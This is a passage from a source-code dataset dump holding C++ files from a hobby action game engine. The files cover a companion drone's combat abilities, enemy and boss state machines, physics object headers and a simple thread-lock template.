NewGO<ExplosionEffect>(0);\n\tm_explosionEffect->Init();\n\tm_explosionEffect->SetSca(Vector3::One * 0.2f);\n\n\tm_gunSE = NewGO<CSoundSource>(0);\n\tm_gunSE->Init(L\"Assets/sound/chara/mg.wav\", false);\n\n\treturn true;\n}\n\nvoid Pod::PreUpdate()\n{\n\n}\n\nvoid Pod::Update()\n{\n\tconst auto red = 1.f - (m_ability.currentStamina / m_ability.STAMINA_MAX);\n\tm_mulCol = Color(red * 3.f, 1.f - red, 1.f - red, 1.f);\n\tm_model->SetMulColor(m_mulCol);\n\n\tm_explosionEffect->SetPos(m_pos);\n\t//const float smokeSizeParam = 0.15f;\n\t//m_smokeEffect->SetSca(Vector3::One * smokeSizeParam * red);\n}\n\nvoid Pod::PostUpdate()\n{\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tconst auto player = GameManager::GetInstance().GetPlayer();\n\n\tm_jetEffects[BACK]->SetPosition(m_podBones.at(TO_INT(EnPodBone::Thruster_Back))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[BACK]->SetRotation(m_podBones.at(TO_INT(EnPodBone::Thruster_Back))->GetWorldMatrix().GetRotate());\n\n\tm_jetEffects[UNDER]->SetPosition(m_podBones.at(TO_INT(EnPodBone::Thruster_Under))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[UNDER]->SetRotation(m_podBones.at(TO_INT(EnPodBone::Thruster_Under))->GetWorldMatrix().GetRotate());\n\n\n\tauto& preset = player->GetCurrentAttackPreset();\n\tif (!g_pad[0]->IsPress(EnButton::enButtonRB1) or preset != Player::EnAttackPreset::enDefault or GameManager::GetInstance().GetMenu()->IsGamePaused() or m_overheat) {\n\t\tif (m_gunSE->IsPlaying()) {\n\t\t\tm_gunSE->Stop();\n\t\t}\n\t}\n\n\tif (GameManager::GetInstance().m_menu->IsGamePaused()) return;\n\n\tif (m_state == PodState::enIdle) {\n\n\t\tm_isChasingEnemy = false;\n\n\t\tIdleRotation();\n\t\tCalcIdlePosition();\n\n\t\tif (player->GetCurrentState() == player->GetState(Player::EnState::enDead)) return;\n\n\t\tif (m_ability.currentStamina == 0.f) {\n\t\t\tm_overheat = true;\n\t\t\tm_explosionEffect->Play();\n\t\t\tm_overheatTimer = 0.f;\n\t\t}\n\n\t\tif (m_overheat) {\n\t\t\tm_overheatTimer += delta;\n\t\t\tif (m_overheatTimer >= m_OverheatTime) {\n\t\t\t\tm_overheat = false;\n\t\t\t}\n\t\t}\n\n\t\tauto& preset = player->GetCurrentAttackPreset();\n\t\tbool isShooting = false;\n\n\t\t//long range\n\t\tif (preset == Player::EnAttackPreset::enDefault) {\n\t\t\tm_longRangeAttack.UpdateEffectPos();\n\t\t\tif (g_pad[0]->IsPress(EnButton::enButtonRB1) and !m_overheat) {\n\t\t\t\tm_longRangeAttack.Execute(player);\n\t\t\t\tUseStamina(skillCosts.ProjectileCost * delta);\n\t\t\t\tisShooting = true;\n\t\t\t\tif (!m_gunSE->IsPlaying()) {\n\t\t\t\t\tm_gunSE->Play(true);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//Laser\n\t\tif (preset == Player::EnAttackPreset::enRemoteAttackPreset) {\n\t\t\tif (g_pad[0]->IsTrigger(EnButton::enButtonRB1) and !m_overheat) {\n\t\t\t\tif (m_ability.currentStamina >= skillCosts.LaserCost) {\n\t\t\t\t\tShotLaserBeam();\n\t\t\t\t\tUseStamina(skillCosts.LaserCost);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//Rampage\n\t\tif (preset == Player::EnAttackPreset::enMeleePreset) {\n\t\t\tif (g_pad[0]->IsTrigger(EnButton::enButtonRB1) and !m_overheat) {\n\t\t\t\tif (m_ability.currentStamina >= skillCosts.RampageCost) {\n\t\t\t\t\tm_timer = 0.f;\n\t\t\t\t\tm_state = PodState::enRampage;\n\t\t\t\t\tm_isChasingEnemy = true;\n\t\t\t\t\tUseStamina(skillCosts.RampageCost);\n\t\t\t\t\t//SE\n\t\t\t\t\tauto se = NewGO<CSoundSource>(0);\n\t\t\t\t\tse->Init(L\"Assets/sound/chara/missile.wav\", false);\n\t\t\t\t\tse->Play(false);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//Kamikaze\n\t\tif (preset == Player::EnAttackPreset::enExplosivePreset) {\n\t\t\tif (g_pad[0]->IsTrigger(EnButton::enButtonRB1) and !m_overheat) {\n\t\t\t\tif (m_ability.currentStamina >= skillCosts.KamikazeCost) {\n\t\t\t\t\tm_timer = 0.f;\n\t\t\t\t\tm_state = PodState::enKamikaze;\n\t\t\t\t\tm_isChasingEnemy = true;\n\t\t\t\t\tUseStamina(skillCosts.KamikazeCost);\n\t\t\t\t\t//SE\n\t\t\t\t\tauto se = NewGO<CSoundSource>(0);\n\t\t\t\t\tse->Init(L\"Assets/sound/chara/missile.wav\", false);\n\t\t\t\t\tse->Play(false);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\tif (!isShooting) {\n\t\t\tChargeStamina(m_ability.StaminaChargeSpeed * delta);\n\t\t}\n\n\t}\n\telse {\n\t\t//Rotate\n\t\tif (m_velocity.x != 0.f or m_velocity.z != 0.f) {\n\t\t\tQuaternion rot = Quaternion::Identity;\n\t\t\tauto theta = atan2(m_velocity.x, m_velocity.z);\n\t\t\ttheta = theta * (180.f / Math::PI);\n\t\t\trot.SetRotationDegY(theta);\n\t\t\tm_rotation = rot;\n\t\t}\n\t}\n\n\tif (m_state == PodState::enThrown) {\n\t\tThrownBehave();\n\t}\n\n\tif (m_state == PodState::enRampage) {\n\t\tRampage();\n\t}\n\n\tif (m_state == PodState::enKamikaze) {\n\t\tKamikaze();\n\t}\n\n\tif (m_state == PodState::enBack) {\n\t\tBackToIdlePos();\n\t}\n\n\tm_model->SetPosition(m_pos);\n\tm_model->SetRotation(m_rotation);\n\tm_beamEffect->SetPos(m_pos);\n}\n\nvoid Pod::Render()\n{\n\n}\n\nvoid Pod::PostRender()\n{\n\n}\n\nvoid Pod::ShotLaserBeam() {\n\tDebugPrint_WATA(\"Pod : laser beam\\n\");\n\n\tauto laserSE = NewGO<CSoundSource>(0);\n\tlaserSE->Init(L\"Assets/sound/chara/beam.wav\", false);\n\tlaserSE->Play(false);\n\n\t//effect\n\tm_beamEffect->Play();\n\tauto burrelRot = m_podBones.at(TO_INT(EnPodBone::Burrel_R2))->GetWorldMatrix().GetRotate();\n\tm_beamEffect->SetRot(burrelRot);\n\n\t//laser\n\tconst float laserRangeLX = 30.f; //local x range\n\tconst float laserRangeLY = 50.f; //local y range\n\tconst float laserRangeLZ = 300.f; //local z range\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tconst auto& podPos = player->GetPod()->GetPosition();\n\n\tauto vecLaserDir = player->GetForward();\n\tconst auto targettingEnemy = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\tif (targettingEnemy != nullptr)\n\t\tvecLaserDir = targettingEnemy->GetPosition() - player->GetPosition();\n\n\t//auto target = GameManager::GetInstance().m_camera->GetTarget();\n\t//if (target != nullptr) {\n//\t\tvecLaserDir = target->GetPosition() - mp_player->GetPosition();\n//\t}\n\n\tVector3 N;\n\tN.Cross(vecLaserDir, Vector3::Up);\n\tN.Normalize();\n\n\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\tauto vecPodToEnemy = epos - podPos;\n\n\t\tfloat front = vecPodToEnemy.Dot(vecLaserDir);\n\n\t\tif (front < 0) {\n\t\t\tDebugPrint_WATA(\"Enemy's position is pod's back!!!!\\n\");\n\t\t\tcontinue;\n\t\t}\n\n\t\t//local x diff\n\t\tconst float xD = N.Dot(vecPodToEnemy);\n\t\t//local y diff\n\t\tconst float yD = m_pos.y - epos.y;\n\t\t//dist\n\t\tconst float dist = (m_pos - epos).Length();\n\n\t\tif (std::abs(xD) < laserRangeLX and std::abs(yD) < laserRangeLY and dist < laserRangeLZ) {\n\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_LaserDamageAmount);\n\t\t}\n\t}\n}\n\nvoid Pod::ThrownBehave() {\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tm_pos = m_pos + m_velocity * delta;\n\tm_timer += delta;\n\n\tif (IsHitBombShield(m_velocity * delta) or m_timer > m_thrownTime) {\n\t\tm_state = PodState::enBack;\n\t\treturn;\n\t}\n\n\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\tif ((m_pos - epos).Length() < m_thrownAttackRange) {\n\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_thrownAttackDamageAmount);\n\t\t\tm_state = PodState::enBack;\n\t\t}\n\t}\n\n}\n\nvoid Pod::Rampage() {\n\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tm_timer += delta;\n\n\tif (EnemyManager::GetEnemyManager().GetNearestEnemy(m_pos) == nullptr) {\n\t\tm_state = PodState::enBack;\n\t\treturn;\n\t}\n\n\tauto& epos = EnemyManager::GetEnemyManager().GetNearestEnemy(m_pos)->GetPosition();\n\tstatic const Vector3 targetOffset = Vector3(0.f, 5.f, 0.f);\n\tstatic const float speed = 100.f;\n\tauto vecToEnemy = epos - m_pos + targetOffset;\n\tvecToEnemy.Normalize();\n\n\tVector3 rampageVelocity = Vector3::Zero;\n\tif (m_isChasingEnemy) {\n\t\t//chasing\n\t\trampageVelocity = vecToEnemy * speed * delta;\n\t\tm_pos += rampageVelocity;\n\t}\n\telse\n\t{\n\t\t//attacking\n\t\tconst float chaseDist = 15.f;\n\t\tif ((m_pos - epos).Length() > chaseDist) {\n\t\t\tm_isChasingEnemy = true;\n\t\t\treturn;\n\t\t}\n\n\t\tconst float repetitiveMoveRange = 10.f;\n\t\tconst float repetitiveMoveSpeed = 5.f;\n\t\tVector3 npos;\n\n\t\tif (m_repetitiveMovementParam == 1.0f or m_repetitiveMovementParam == 0.0f) {\n\t\t\tm_isIncreasing = !m_isIncreasing;\n\t\t}\n\n\t\tif (m_isIncreasing) {\n\t\t\tm_repetitiveMovementParam = min(1.f, m_repetitiveMovementParam + repetitiveMoveSpeed * delta);\n\t\t}\n\t\telse {\n\t\t\tm_repetitiveMovementParam = max(0.f, m_repetitiveMovementParam - repetitiveMoveSpeed * delta);\n\t\t}\n\n\t\tnpos.Lerp(m_repetitiveMovementParam, epos + targetOffset - Vector3(repetitiveMoveRange, 0, 0), epos + targetOffset + Vector3(repetitiveMoveRange, 0, 0));\n\t\tm_pos = npos;\n\t}\n\n\tif (IsHitBombShield(rampageVelocity) or m_timer > m_rampageTime) {\n\t\tm_state = PodState::enBack;\n\t\treturn;\n\t}\n\n\tif ((m_pos - epos).Length() < m_thrownAttackRange) {\n\t\tm_isChasingEnemy = false;\n\t\tEnemyManager::GetEnemyManager().GetNearestEnemy(m_pos)->ApplyDamage(m_rampagingDamageAmount * delta);\n\t}\n}\n\nvoid Pod::Kamikaze() {\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tm_timer += delta;\n\n\tif (EnemyManager::GetEnemyManager().GetNearestEnemy(m_pos) == nullptr) {\n\t\tm_state = PodState::enBack;\n\t\treturn;\n\t}\n\n\tauto& epos = EnemyManager::GetEnemyManager().GetNearestEnemy(m_pos)->GetPosition();\n\tconst float speed = 100.f;\n\tauto vecToEnemy = epos - m_pos;\n\tvecToEnemy.Normalize();\n\tm_pos += vecToEnemy * speed * delta;\n\n\tif (IsHitBombShield(vecToEnemy * speed * delta) or m_timer > m_rampageTime) {\n\t\tm_state = PodState::enBack;\n\t\treturn;\n\t}\n\n\tif ((m_pos - epos).Length() < m_thrownAttackRange) {\n\t\t//Explode\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/explosion.wav\", false);\n\t\tse->Play(false);\n\t\tm_explosionEffect->SetPos(m_pos);\n\t\tm_explosionEffect->Play();\n\t\tEnemyManager::GetEnemyManager().GetNearestEnemy(m_pos)->ApplyDamage(m_kamikazeDamageAmount);\n\t\tm_state = PodState::enBack;\n\t}\n}\n\nvoid Pod::BackToIdlePos() {\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tm_timer += delta;\n\n\n\tauto addPos = m_distanceFromPlayer;\n\tplayer->GetRotation().Apply(addPos);\n\tauto idlePos = player->GetPosition() + addPos;\n\t//auto vecToIdlePos = (mp_player->GetPosition() + mp_player->GetForward() + m_distanceFromPlayer;\n\tauto vecToIdlePos = idlePos - m_pos;\n\n\tauto IdlePosDir = vecToIdlePos;\n\tIdlePosDir.Normalize();\n\tauto vel = IdlePosDir * m_backSpeed * delta;\n\n\tif (vecToIdlePos.Length() < vel.Length()) {\n\t\tm_state = PodState::enIdle;\n\t\tm_pos += vecToIdlePos;\n\t\treturn;\n\t}\n\telse {\n\t\tm_pos += vel;\n\t}\n}\n\nvoid Pod::IdleRotation() {\n\n\tIEnemy* target = nullptr;\n\n\t//Targetting mode's enemy\n\tif (GameManager::GetInstance().m_camera->IsTargettingEnemy()) {\n\t\ttarget = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\t}\n\telse {\n\t\ttarget = EnemyManager::GetEnemyManager().GetNearestEnemy(m_pos);\n\t\tif (target != nullptr) {\n\t\t\tconst float AUTO_TARGET_RANGE = 150.f;\n\t\t\tif ((target->GetPosition() - m_pos).Length() >= AUTO_TARGET_RANGE) {\n\t\t\t\ttarget = nullptr;\n\t\t\t}\n\t\t}\n\t\tEnemyManager::GetEnemyManager().SetTargetEnemy(target);\n\t}\n\n\tVector3 forward, right, up;\n\tauto& world = m_model->GetModel().GetWorldMatrix();\n\tforward.x = world.mat._31;\n\tforward.y = world.mat._32;\n\tforward.z = world.mat._33;\n\tforward.Normalize();\n\n\tright.x = world.mat._11;\n\tright.y = world.mat._12;\n\tright.z = world.mat._13;\n\tright.Normalize();\n\n\tup.x = world.mat._21;\n\tup.y = world.mat._22;\n\tup.z = world.mat._23;\n\tup.Normalize();\n\n\tVector3 vecGoalForward = Vector3::One;\n\n\tif (target != nullptr) {\n\t\tvecGoalForward = target->GetPosition() - m_pos;\n\t\tvecGoalForward.Normalize();\n\t}\n\telse {\n\t\tauto player = GameManager::GetInstance().GetPlayer();\n\t\tm_rotation = player->GetRotation();\n\t\treturn;\n\t}\n\n\tauto degToTar = atan2(vecGoalForward.x, vecGoalForward.z);\n\tauto degToForward = atan2(forward.x, forward.z);\n\tconst float diff = degToTar - degToForward;\n\tconst float ROT_SPEED = 350.f;\n\tconst float delta = gameTime()->GetDeltaTime();\n\n\tauto fct = forward;\n\tfct.Cross(vecGoalForward);\n\n\tQuaternion rot = Quaternion::Identity;\n\n\tconst float deadVal = 0.1;\n\n\tif (fct.y > deadVal) {\n\t\trot.SetRotationDegY(ROT_SPEED * delta);\n\t\tm_rotation.Multiply(rot);\n\t}\n\telse if (fct.y < -deadVal) {\n\t\trot.SetRotationDegY(-ROT_SPEED * delta);\n\t\tm_rotation.Multiply(rot);\n\t}\n\telse {\n\t\tQuaternion rotY;\n\t\tauto degY = atan2(vecGoalForward.x, vecGoalForward.z);\n\t\tdegY = Math::RadToDeg(degY);\n\t\trotY.SetRotationDeg(up, degY);\n\t\tm_rotation = rotY;\n\t}\n}\n\nvoid Pod::CalcIdlePosition() {\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tauto addPos = m_distanceFromPlayer;\n\n\tif (GameManager::GetInstance().GetGameCamera()->IsTargettingEnemy()) {\n\t\tg_camera3D->GetCameraRotation().Apply(addPos);\n\t}\n\telse {\n\t\tplayer->GetRotation().Apply(addPos);\n\t}\n\n\tauto idlePos = player->GetPosition() + addPos + player->GetVelocity() * gameTime()->GetDeltaTime();\n\tm_pos = idlePos;\n\n}\n\nbool Pod::IsHitBombShield(const Vector3& vel) {\n\t//sweeptest\n\tbtTransform start, end;\n\tstart.setIdentity();\n\tend.setIdentity();\n\tstart.setOrigin({ m_pos.x, m_pos.y, m_pos.z });\n\tauto endPos = m_pos + vel;\n\tend.setOrigin({ endPos.x, endPos.y, endPos.z });\n\t//printf(\"velocity : x : %f / y %f / z %f\\n\", rampageVelocity.x, rampageVelocity.y, rampageVelocity.z);\n\t//printf(\"start pos : x : %f / y %f / z %f\\n\", m_pos.x, m_pos.y, m_pos.z);\n\t//printf(\"end pos : x : %f / y %f / z %f\\n\", endPos.x, endPos.y, endPos.z);\n\tPodSweepResult sr(m_pos);\n\tPhysics().ConvexSweepTest(m_sphere.GetBody(), start, end, sr);\n\tif (sr.isHit)\n\t{\n\t\tif (sr.collAttr & GameCollisionAttribute::BombShield)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}"
},
{
"alpha_fraction": 0.6990950107574463,
"alphanum_fraction": 0.7149321436882019,
"avg_line_length": 22.210525512695312,
"blob_id": "f6ee48015d20dd4a29a98d94cbbdab6d367a5978",
"content_id": "ec5384d37509af65366850783d97636bf0dfad2d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 442,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 19,
"path": "/Game/Player/Attack/IPlayerAttack.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass Player;\nclass IEnemy;\n\nclass IPlayerAttack\n{\npublic :\n\tIPlayerAttack() {};\n\tvirtual ~IPlayerAttack() {};\n\tvirtual void Init(Player* player, int combo) = 0;\n\tvirtual void Execute(Player* player) = 0;\n\tvirtual const bool IsDone() = 0;\n\tvirtual const float GetInterval() = 0;\n\tvirtual const bool IsContinueAttack() = 0;\n\nprotected:\n\tconst float m_DEFAULT_ATTACK_DAMAGE = 10.f;\n\tstd::map<IEnemy*, bool> m_attackedEnemyMap;\n};\n\n"
},
{
"alpha_fraction": 0.6462264060974121,
"alphanum_fraction": 0.6485849022865295,
"avg_line_length": 17.45652198791504,
"blob_id": "8fd601fb15ca7f6dfdc58975de721f2ca48c1c93",
"content_id": "36de86b3170eb47036ad764a3705342a9be1707a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1014,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 46,
"path": "/UsualEngineR/Physics/PhysicsStaticObject.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n * @brief\t静的オブジェクト。\n */\n\n#pragma once\n\n#include \"physics/MeshCollider.h\"\n#include \"physics/RigidBody.h\"\n\nnamespace UER\n{\n\t/*!\n\t* @brief\t静的物理オブジェクト\n\t*/\n\tclass PhysicsStaticObject {\n\tpublic:\n\t\t/*!\n\t\t\t* @brief\tコンストラクタ。\n\t\t\t*/\n\t\tPhysicsStaticObject();\n\t\t/*!\n\t\t\t* @brief\tデストラクタ。\n\t\t\t*/\n\t\t~PhysicsStaticObject();\n\t\t/*!\n\t\t\t* @brief\tメッシュの静的オブジェクトを作成。\n\t\t\t*@param[in]\tskinModel\tスキンモデル。\n\t\t\t*@param[in]\tpos\t\t\t座標。\n\t\t\t*@param[in]\trot\t\t\t回転。\n\t\t\t*/\n\t\tRigidBody* CreateMeshObject(const Model& skinModel, const Vector3& pos, const Quaternion& rot, const Vector3& sca,bool isNotMainThread = false);\n\n\t\tMeshCollider& GetMeshCollider()\n\t\t{\n\t\t\treturn m_meshCollider;\n\t\t}\n\t\tRigidBody& GetRigidBody()\n\t\t{\n\t\t\treturn m_rigidBody;\n\t\t}\n\tprivate:\n\t\tMeshCollider m_meshCollider;\t\t//メッシュコライダー。\n\t\tRigidBody m_rigidBody;\t\t\t\t//剛体。\n\t\tbool m_isCreated = false;\t\t\t//Createは呼ばれた?\n\t};\n}"
},
{
"alpha_fraction": 0.7032967209815979,
"alphanum_fraction": 0.7284144163131714,
"avg_line_length": 20.965517044067383,
"blob_id": "112764908364bf266b0c38ce9ced5caa3e11ba26",
"content_id": "3ab9f9534267596b2d7a26a7e68e2e4f7efed756",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 637,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 29,
"path": "/Game/Enemy/State/EnemyShortRangeLongJampAttackState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n#include \"Player/Player.h\"\n\nclass EnemyShortRangeLongJampAttackState final : public IEnemyState\n{\npublic:\n\tEnemyShortRangeLongJampAttackState();\n\t~EnemyShortRangeLongJampAttackState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 1.f;\n\n\tfloat m_jampHeight = 80.f;\n\n\tfloat m_fowardMove = 100.f;\n\n\tVector3 m_foward = Vector3::Zero;\n\n\tfloat m_grav = 400.f;\n\tfloat m_gravPow = 0.f;\n\tbool m_isTakOff = false;\n\n\tfloat m_damage = Player::GetMaxHP() / 30.0f;\n\tbool m_isApplyDamage = false;\n};\n"
},
{
"alpha_fraction": 0.6996278762817383,
"alphanum_fraction": 0.7086656093597412,
"avg_line_length": 25.125,
"blob_id": "86baa250cf69fa2c550dfb7d78de7493588957d5",
"content_id": "0bbe7ae28b6f1ecb535de00c2f5498af7bd805ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1907,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 72,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanTackleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanTackleState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n\nBoss_FatmanTackleState::Boss_FatmanTackleState()\n{\n}\n\nBoss_FatmanTackleState::~Boss_FatmanTackleState()\n{\n}\n\nvoid Boss_FatmanTackleState::Enter(IEnemy* e)\n{\n\tm_timer = 0.f;\n\t\n\te->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e, false));\n\n\tauto& p = GameManager::GetInstance().m_player;\n\tconst auto& ppos = p->GetPosition();\n\tm_playerPosition = ppos;\n\te->SetVelocity(Vector3::Zero);\n}\n\nIEnemyState* Boss_FatmanTackleState::Update(IEnemy* e)\n{\n\tauto& p = GameManager::GetInstance().m_player;\n\tconst auto& ppos = p->GetPosition();\n\tconst auto& epos = e->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tfloat distanceToCurrentP = vecToPlayer.Length();\n\n\tconst float distance = 10.f;\n\tif (std::abs(distanceToCurrentP) < distance){\n\t\tif (!m_isSound) {\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/chara/punch_2_1.wav\");\n\t\t\tse->Play(false);\n\t\t\tm_isSound = true;\n\t\t}\n\t\t//プレイヤーがノックバック。\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tconst auto& epos = e->GetPosition();\n\t\tconst auto& ppos = p->GetPosition();\n\t\tm_playerPosition = ppos;\n\t\tauto vecToPlayer = ppos - epos;\n\t\tvecToPlayer.Normalize();\n\t\tconst float knockbackParam = 300.f;\n\t\tvecToPlayer *= knockbackParam;\n\t\tp->ApplyDamage(m_damage, true, vecToPlayer);\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\t\n\tauto vecToPlayer2 = m_playerPosition - epos;\n\tfloat distanceToOldP = vecToPlayer2.Length();\n\tif (std::abs(distanceToOldP) < distance) {\n\t\tm_isSound = false;\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\n\tvecToPlayer2.Normalize();\n\tconst float speed = 80.f;\n\tVector3 movespeed = vecToPlayer2 * speed;\n\te->SetVelocity(movespeed);\n\treturn this;\n}\n\nvoid Boss_FatmanTackleState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.5377049446105957,
"alphanum_fraction": 0.5393442511558533,
"avg_line_length": 14.008196830749512,
"blob_id": "73217812ba605124bd991d738a94cbb1895ffbed",
"content_id": "08e8f969d0f3eaccc494350cfed2c19f656e380f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2264,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 122,
"path": "/UsualEngineR/Thread/Lock.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n\n\n\t/// <summary>\n\t/// マルチスレッドをする際に変数を排他制御するためのクラス\n\t/// \n\t/// コンストラクタの引数で制御したいインスタンスを渡すか、\n\t/// Set関数で引数で制御したいインスタンスを渡せば準備完了。\n\t/// </summary>\n\ttemplate<class T>\n\tclass Lock\n\t{\n\tpublic:\n\t\t/// <summary>\n\t\t/// ロックされてる変数を内包するクラス\n\t\t/// </summary>\n\t\tstruct Content\n\t\t{\n\t\t\tfriend Lock;\t//ContentのものはLockのもの!\n\n\t\t\t/// <summary>\n\t\t\t/// コピーコンストラクタ\n\t\t\t/// </summary>\n\t\t\t/// <param name=\"c\"></param>\n\t\t\tContent(const Content& c)\n\t\t\t{\n\t\t\t\t*this = c;\n\t\t\t\tlock->m_isUsing = true;\n\t\t\t}\n\t\t\t\n\t\t\t/// <summary>\n\t\t\t/// コンストラクタ\n\t\t\t/// </summary>\n\t\t\t/// <param name=\"c\">内容物のポインタ</param>\n\t\t\t/// <param name=\"lock\">管理者</param>\n\t\t\tContent(T* c,Lock* lock)\n\t\t\t{\n\t\t\t\tthis->lock = lock;\n\t\t\t\tcontent = c;\n\t\t\t\tlock->m_isUsing = true;\n\t\t\t}\n\n\t\t\tvirtual ~Content()\n\t\t\t{\n\t\t\t\tlock->m_isUsing = false;\n\t\t\t}\n\n\n\t\t\tT* operator->()\n\t\t\t{\n\t\t\t\treturn content;\n\t\t\t}\n\t\t\t\n\t\t\tT& Get()\n\t\t\t{\n\t\t\t\treturn *content;\n\t\t\t}\n\t\tprivate:\n\t\t\tT* content = 0;\t//内容物のポインタ。\n\t\t\tLock* lock;\t//管理者。\n\t\t};\n\t\t\n\t\t\n\t\tLock() = delete;\n\t\t\n\t\tLock(const Lock<T>& t) = default;\n\t\tLock(T& content)\n\t\t{\n\t\t\tSet(&content);\n\t\t}\n\t\tLock(T* content)\n\t\t{\n\t\t\tSet(content);\n\t\t}\n\t\t~Lock() {};\n\n\n\t\t/// <summary>\n\t\t/// 制御している変数を返す\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tContent Get()\n\t\t{\n\t\t\twhile (m_isUsing)\n\t\t\t{\n\t\t\t\tSleep(SLEEP_TIME);\n\t\t\t}\n\t\t\tm_isUsing = true;\n\t\t\treturn m_contens;\n\t\t}\n\t\t/// <summary>\n\t\t/// 読み取り専用。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst T& Get_ReadOnly() const\n\t\t{\n\t\t\treturn *m_content;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 内容物をセット\n\t\t/// </summary>\n\t\t/// <param name=\"t\"></param>\n\t\tvoid Set(T* t)\n\t\t{\n\t\t\tm_content = t;\n\t\t\tm_contens.content = t;\n\t\t}\n\tprivate:\n\t\t\n\tprivate:\n\t\tstatic const int SLEEP_TIME = 10;\t\t\t//ゲットの時にロック状態の場合にフラグの再調査をするまでの時間。\n\t\tContent m_contens = Content(nullptr,this);\t//内容物\n\t\tT* m_content;\t//内容物のポインタ\n\t\t\n\t\tbool m_isUsing = false;\t//使われてる?\n\t};\n}"
},
{
"alpha_fraction": 0.6570543646812439,
"alphanum_fraction": 0.6702812314033508,
"avg_line_length": 22.378829956054688,
"blob_id": "fe52f794b600a115e8793bd5f9974afa9e2ae632",
"content_id": "952aa29ce11b1ae1155ff62b49b3cbcb205eb391",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 9558,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 359,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanChargeBeamAndShootingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanChargeBeamAndShootingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"Effect/Beam.h\"\n#include \"Enemy/Equipment/Enemy_Bullet.h\"\n\nBoss_FatmanChargeBeamAndShootingState::Boss_FatmanChargeBeamAndShootingState()\n{\n\t//骨の数だけビームを生成する。\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\tBeam* beam = NewGO<Beam>(0);\n\t\tBeamEffectInitData bid;\n\t\tbeam->Init(bid);\n\t\tbeam->SetSca(Vector3::One * 0.03);\n\t\tm_beams.push_back(beam);\n\t}\n\tm_shootSE = NewGO<CSoundSource>(0, \"sound\");\n\tm_shootSE->Init(L\"Assets/sound/boss_fatman/Balkan2.wav\");\n}\n\nBoss_FatmanChargeBeamAndShootingState::~Boss_FatmanChargeBeamAndShootingState()\n{\n\t//生成した数だけ削除。\n\tfor (int i = 0; i < m_beams.size(); i++) 